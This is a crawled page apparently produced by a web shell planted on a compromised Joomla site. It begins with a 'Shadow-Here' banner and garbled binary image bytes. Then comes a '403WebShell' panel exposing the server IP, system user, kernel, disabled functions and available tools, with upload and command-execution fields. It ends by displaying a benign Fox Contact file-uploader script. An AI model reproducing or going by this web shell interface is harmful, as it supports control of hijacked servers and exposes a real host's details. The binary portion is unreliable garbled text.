....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.33  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/media/com_foxcontact/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/web032/htdocs/cms/media/com_foxcontact/js/upload.min.js
/*
 This is a minified version of Valums File Uploader
 © 2010 Andrew Valums ( andrew(at)valums.com )
 Licensed under GNU GPL 2 or later, see license.txt.
 Get the original source code at:
 http://github.com/valums/file-uploader
 http://valums.com/ajax-upload/
 */

//
// Helper functions
//

var qq = qq || {};

/**
 * Adds all missing properties from second obj to first obj
 */
qq.extend = function (first, second)
{
    for (var prop in second)
    {
        first[prop] = second[prop];
    }
};

/**
 * Searches for a given element in the array, returns -1 if it is not present.
 * @param {Number} [from] The index at which to begin the search
 */
qq.indexOf = function (arr, elt, from)
{
    if (arr.indexOf) return arr.indexOf(elt, from);

    from = from || 0;
    var len = arr.length;

    if (from < 0) from += len;

    for (; from < len; from++)
    {
        if (from in arr && arr[from] === elt)
        {
            return from;
        }
    }
    return -1;
};

qq.getUniqueId = (function ()
{
    var id = 0;
    return function ()
    {
        return id++;
    };
})();

//
// Events

qq.attach = function (element, type, fn)
{
    if (element.addEventListener)
    {
        element.addEventListener(type, fn, false);
    }
    else if (element.attachEvent)
    {
        element.attachEvent('on' + type, fn);
    }
};
qq.detach = function (element, type, fn)
{
    if (element.removeEventListener)
    {
        element.removeEventListener(type, fn, false);
    }
    else if (element.attachEvent)
    {
        element.detachEvent('on' + type, fn);
    }
};

qq.preventDefault = function (e)
{
    if (e.preventDefault)
    {
        e.preventDefault();
    }
    else
    {
        e.returnValue = false;
    }
};

//
// Node manipulations

/**
 * Insert node a before node b.
 */
qq.insertBefore = function (a, b)
{
    b.parentNode.insertBefore(a, b);
};
qq.remove = function (element)
{
    element.parentNode.removeChild(element);
};

qq.contains = function (parent, descendant)
{
    // compareposition returns false in this case
    if (parent == descendant) return true;

    if (parent.contains)
    {
        return parent.contains(descendant);
    }
    else
    {
        return !!(descendant.compareDocumentPosition(parent) & 8);
    }
};

/**
 * Creates and returns element from html string
 * Uses innerHTML to create an element
 */
qq.toElement = (function ()
{
    var div = document.createElement('div');
    return function (html)
    {
        div.innerHTML = html;
        var element = div.firstChild;
        div.removeChild(element);
        return element;
    };
})();

//
// Node properties and attributes

/**
 * Sets styles for an element.
 * Fixes opacity in IE6-8.
 */
qq.css = function (element, styles)
{
    if (styles.opacity != null)
    {
        if (typeof element.style.opacity != 'string' && typeof(element.filters) != 'undefined')
        {
            styles.filter = 'alpha(opacity=' + Math.round(100 * styles.opacity) + ')';
        }
    }
    qq.extend(element.style, styles);
};
qq.hasClass = function (element, name)
{
    var re = new RegExp('(^| )' + name + '( |$)');
    return re.test(element.className);
};
qq.addClass = function (element, name)
{
    if (!qq.hasClass(element, name))
    {
        element.className += ' ' + name;
    }
};
qq.removeClass = function (element, name)
{
    var re = new RegExp('(^| )' + name + '( |$)');
    element.className = element.className.replace(re, ' ').replace(/^\s+|\s+$/g, "");
};
qq.setText = function (element, text)
{
    element.innerText = text;
    element.textContent = text;
};

//
// Selecting elements

qq.children = function (element)
{
    var children = [],
        child = element.firstChild;

    while (child)
    {
        if (child.nodeType == 1)
        {
            children.push(child);
        }
        child = child.nextSibling;
    }

    return children;
};

qq.getByClass = function (element, className)
{
    if (element.querySelectorAll)
    {
        return element.querySelectorAll('.' + className);
    }

    var result = [];
    var candidates = element.getElementsByTagName("*");
    var len = candidates.length;

    for (var i = 0; i < len; i++)
    {
        if (qq.hasClass(candidates[i], className))
        {
            result.push(candidates[i]);
        }
    }
    return result;
};

/**
 * obj2url() takes a json-object as argument and generates
 * a querystring. pretty much like jQuery.param()
 *
 * how to use:
 *
 *    qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');
 *
 * will result in:
 *
 *    http://any.url/upload?otherParam=value&amp;a=b&amp;c=d
 *
 * @param  Object JSON-Object
 * @param  String current querystring-part
 * @return String encoded querystring
 */
qq.obj2url = function (obj, temp, prefixDone)
{
    var uristrings = [],
        prefix = '&',
        add = function (nextObj, i)
        {
            var nextTemp = temp
                ? (/\[\]$/.test(temp)) // prevent double-encoding
                ? temp
                : temp + '[' + i + ']'
                : i;
            if ((nextTemp != 'undefined') && (i != 'undefined'))
            {
                uristrings.push(
                    (typeof nextObj === 'object')
                        ? qq.obj2url(nextObj, nextTemp, true)
                        : (Object.prototype.toString.call(nextObj) === '[object Function]')
                        ? encodeURIComponent(nextTemp) + '=' + encodeURIComponent(nextObj())
                        : encodeURIComponent(nextTemp) + '=' + encodeURIComponent(nextObj)
                );
            }
        };

    if (!prefixDone && temp)
    {
        prefix = (/\?/.test(temp)) ? (/\?$/.test(temp)) ? '' : '&' : '?';
        uristrings.push(temp);
        uristrings.push(qq.obj2url(obj));
    }
    else if ((Object.prototype.toString.call(obj) === '[object Array]') && (typeof obj != 'undefined'))
    {
        // we wont use a for-in-loop on an array (performance)
        for (var i = 0, len = obj.length; i < len; ++i)
        {
            add(obj[i], i);
        }
    }
    else if ((typeof obj != 'undefined') && (obj !== null) && (typeof obj === "object"))
    {
        // for anything else but a scalar, we will use for-in-loop
        for (var i in obj)
        {
            add(obj[i], i);
        }
    }
    else
    {
        uristrings.push(encodeURIComponent(temp) + '=' + encodeURIComponent(obj));
    }

    return uristrings.join(prefix)
        .replace(/^&/, '')
        .replace(/%20/g, '+');
};

//
//
// Uploader Classes
//
//

var qq = qq || {};

/**
 * Creates upload button, validates upload, but doesn't create file list or dd.
 */
qq.FileUploaderBasic = function (o)
{
    this._options = {
        // set to true to see the server response
        debug:false,
        action:'/server/upload',
        params:{},
        button:null,
        multiple:true,
        maxConnections:3,
        // validation
        allowedExtensions:[],
        sizeLimit:0,
        minSizeLimit:0,
        // events
        // return false to cancel submit
        onSubmit:function (id, fileName)
        {
        },
        onProgress:function (id, fileName, loaded, total)
        {
        },
        onComplete:function (id, fileName, responseJSON)
        {
        },
        onCancel:function (id, fileName)
        {
        },
        // messages
        messages:{
            typeError:"{file} has invalid extension. Only {extensions} are allowed.",
            sizeError:"{file} is too large, maximum file size is {sizeLimit}.",
            minSizeError:"{file} is too small, minimum file size is {minSizeLimit}.",
            emptyError:"{file} is empty, please select files again without it.",
            onLeave:"The files are being uploaded, if you leave now the upload will be cancelled."
        },
        showMessage:function (message)
        {
            alert(message);
        }
    };
    qq.extend(this._options, o);

    // number of files being uploaded
    this._filesInProgress = 0;
    this._handler = this._createUploadHandler();

    if (this._options.button)
    {
        this._button = this._createUploadButton(this._options.button);
    }

    this._preventLeaveInProgress();
};

qq.FileUploaderBasic.prototype = {
    setParams:function (params)
    {
        this._options.params = params;
    },
    getInProgress:function ()
    {
        return this._filesInProgress;
    },
    _createUploadButton:function (element)
    {
        var self = this;

        return new qq.UploadButton({
            element:element,
            multiple:this._options.multiple && qq.UploadHandlerXhr.isSupported(),
            onChange:function (input)
            {
                self._onInputChange(input);
            }
        });
    },
    _createUploadHandler:function ()
    {
        var self = this,
            handlerClass;

        if (qq.UploadHandlerXhr.isSupported())
        {
            handlerClass = 'UploadHandlerXhr';
        }
        else
        {
            handlerClass = 'UploadHandlerForm';
        }

        var handler = new qq[handlerClass]({
            debug:this._options.debug,
            action:this._options.action,
            maxConnections:this._options.maxConnections,
            onProgress:function (id, fileName, loaded, total)
            {
                self._onProgress(id, fileName, loaded, total);
                self._options.onProgress(id, fileName, loaded, total);
            },
            onComplete:function (id, fileName, result)
            {
                self._onComplete(id, fileName, result);
                self._options.onComplete(id, fileName, result);
            },
            onCancel:function (id, fileName)
            {
                self._onCancel(id, fileName);
                self._options.onCancel(id, fileName);
            }
        });

        return handler;
    },
    _preventLeaveInProgress:function ()
    {
        var self = this;

        qq.attach(window, 'beforeunload', function (e)
        {
            if (!self._filesInProgress)
            {
                return;
            }

            var e = e || window.event;
            // for ie, ff
            e.returnValue = self._options.messages.onLeave;
            // for webkit
            return self._options.messages.onLeave;
        });
    },
    _onSubmit:function (id, fileName)
    {
        this._filesInProgress++;
    },
    _onProgress:function (id, fileName, loaded, total)
    {
    },
    _onComplete:function (id, fileName, result)
    {
        this._filesInProgress--;
        if (result.error)
        {
            this._options.showMessage(result.error);
        }
    },
    _onCancel:function (id, fileName)
    {
        this._filesInProgress--;
    },
    _onInputChange:function (input)
    {
        if (this._handler instanceof qq.UploadHandlerXhr)
        {
            this._uploadFileList(input.files);
        }
        else
        {
            if (this._validateFile(input))
            {
                this._uploadFile(input);
            }
        }
        this._button.reset();
    },
    _uploadFileList:function (files)
    {
        for (var i = 0; i < files.length; i++)
        {
            if (!this._validateFile(files[i]))
            {
                return;
            }
        }

        for (var i = 0; i < files.length; i++)
        {
            this._uploadFile(files[i]);
        }
    },
    _uploadFile:function (fileContainer)
    {
        var id = this._handler.add(fileContainer);
        var fileName = this._handler.getName(id);

        if (this._options.onSubmit(id, fileName) !== false)
        {
            this._onSubmit(id, fileName);
            this._handler.upload(id, this._options.params);
        }
    },
    _validateFile:function (file)
    {
        var name, size;

        if (file.value)
        {
            // it is a file input
            // get input value and remove path to normalize
            name = file.value.replace(/.*(\/|\\)/, "");
        }
        else
        {
            // fix missing properties in Safari
            name = file.fileName != null ? file.fileName : file.name;
            size = file.fileSize != null ? file.fileSize : file.size;
        }

        if (!this._isAllowedExtension(name))
        {
            this._error('typeError', name);
            return false;

        }
        else if (size === 0)
        {
            this._error('emptyError', name);
            return false;

        }
        else if (size && this._options.sizeLimit && size > this._options.sizeLimit)
        {
            this._error('sizeError', name);
            return false;

        }
        else if (size && size < this._options.minSizeLimit)
        {
            this._error('minSizeError', name);
            return false;
        }

        return true;
    },
    _error:function (code, fileName)
    {
        var message = this._options.messages[code];

        function r(name, replacement)
        {
            message = message.replace(name, replacement);
        }

        r('{file}', this._formatFileName(fileName));
        r('{extensions}', this._options.allowedExtensions.join(', '));
        r('{sizeLimit}', this._formatSize(this._options.sizeLimit), 'auto');
        r('{minSizeLimit}', this._formatSize(this._options.minSizeLimit), 'auto');

        this._options.showMessage(message);
    },
    _formatFileName:function (name)
    {
        if (name.length > 33)
        {
            name = name.slice(0, 19) + '...' + name.slice(-13);
        }
        return name;
    },
    _isAllowedExtension:function (fileName)
    {
        var ext = (-1 !== fileName.indexOf('.')) ? fileName.replace(/.*[.]/, '').toLowerCase() : '';
        var allowed = this._options.allowedExtensions;

        if (!allowed.length)
        {
            return true;
        }

        for (var i = 0; i < allowed.length; i++)
        {
            if (allowed[i].toLowerCase() == ext)
            {
                return true;
            }
        }

        return false;
    },
    _formatSize:function (bytes, decimals)
    {
        for (var i = 0; bytes >= 1000; ++i)
        {
            bytes /= 1024;
        }

        // Automatic decimals means 3 significant digits. Examples: 290MB 90.5Kb 9.52Gb
        if (decimals === "auto")
        {
            decimals = 3 - String(Math.floor(bytes)).length;
        }

        return bytes.toFixed(decimals) + ' ' + ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'][i];
    }
};


/**
 * Class that creates upload widget with drag-and-drop and file list
 * @inherits qq.FileUploaderBasic
 */
qq.FileUploader = function (o)
{
    // call parent constructor
    qq.FileUploaderBasic.apply(this, arguments);

    // additional options
    qq.extend(this._options, {
        element:null,
        // if set, will be used instead of qq-upload-list in template
        listElement:null,

        template:'<div class="qq-uploader">' +
        '<div class="qq-upload-button btn"><span class="qq-upload-button-caption">' + Fox.Strings['COM_FOXCONTACT_BROWSE_FILES'] + '</span></div>' +
        '<ul class="qq-upload-list"></ul>' +
        '</div>',

        // template for one item in file list
        fileTemplate:'<li>' +
        '<span class="qq-upload-file"></span>' +
        '<span class="qq-upload-size"></span>' +
        '<span class="qq-upload-spinner"></span>' +
        '<a class="qq-upload-cancel" href="#">' + Fox.Strings['JCANCEL'] + '</a>' +
        '<span class="qq-upload-failed-text">' + Fox.Strings['COM_FOXCONTACT_FAILED'] + '</span>' +
        '<span class="qq-upload-success-text">' + Fox.Strings['COM_FOXCONTACT_SUCCESS'] + '</span>' +
        '</li>',

        classes:{
            // used to get elements from templates
            button:'qq-upload-button',
            list:'qq-upload-list',

            file:'qq-upload-file',
            spinner:'qq-upload-spinner',
            size:'qq-upload-size',
            cancel:'qq-upload-cancel',

            // added to list item when upload completes
            // used in css to hide progress spinner
            success:'qq-upload-success',
            fail:'qq-upload-fail'
        }
    });
    // overwrite options with user supplied
    qq.extend(this._options, o);

    this._element = this._options.element;
    this._element.innerHTML = this._options.template;
    //this._listElement = this._options.listElement || this._find(this._element, 'list');
    // 1st attempt: already set
    // 2nd attempt: external ul list identified by a specific id
    // 3rd attempt: child ul list created by this javascript itself
    this._listElement = this._options.listElement || document.getElementById(this._options.uniqueid) || this._find(this._element, 'list');

    this._classes = this._options.classes;

    this._button = this._createUploadButton(this._find(this._element, 'button'));

    this._bindCancelEvent();
};

// inherit from Basic Uploader
qq.extend(qq.FileUploader.prototype, qq.FileUploaderBasic.prototype);

qq.extend(qq.FileUploader.prototype, {
    /**
     * Gets one of the elements listed in this._options.classes
     **/
    _find:function (parent, type)
    {
        var element = qq.getByClass(parent, this._options.classes[type])[0];
        if (!element)
        {
            throw new Error('element not found ' + type);
        }

        return element;
    },
    _onSubmit:function (id, fileName)
    {
        qq.FileUploaderBasic.prototype._onSubmit.apply(this, arguments);
        this._addToList(id, fileName);
    },
    _onProgress:function (id, fileName, loaded, total)
    {
        qq.FileUploaderBasic.prototype._onProgress.apply(this, arguments);

        var item = this._getItemByFileId(id);
        var size = this._find(item, 'size');
        size.style.display = 'inline-block';

        var text;
        if (loaded != total)
        {
            text = Math.round(loaded / total * 100) + '% / ' + this._formatSize(total, 'auto');
        }
        else
        {
            text = this._formatSize(total, 'auto');
        }

        qq.setText(size, text);
    },
    _onComplete:function (id, fileName, result)
    {
        qq.FileUploaderBasic.prototype._onComplete.apply(this, arguments);

        // mark completed
        var item = this._getItemByFileId(id);
        qq.remove(this._find(item, 'cancel'));
        qq.remove(this._find(item, 'spinner'));

        if (result.success)
        {
            qq.addClass(item, this._classes.success);
        }
        else
        {
            qq.addClass(item, this._classes.fail);
        }

        if (result.success)
        {
            // File uploaded successfully
            // Create a button for remove this file
            var span = document.createElement("span");
            span.appendChild(document.createTextNode(Fox.Strings['COM_FOXCONTACT_REMOVE_ALT']));
            span.setAttribute("class","qq-upload-remove");
            span.setAttribute("title", Fox.Strings['COM_FOXCONTACT_REMOVE_TITLE']);
            // Append the span to the list item <li>
            item.appendChild(span);

            var url = this._options.action;
            // Set the onclick event to the remove button of this new item
            span.onclick = function(){ deletefile(span, result.index, url); };
        }
    },
    _addToList:function (id, fileName)
    {
        var item = qq.toElement(this._options.fileTemplate);
        item.qqFileId = id;

        var fileElement = this._find(item, 'file');
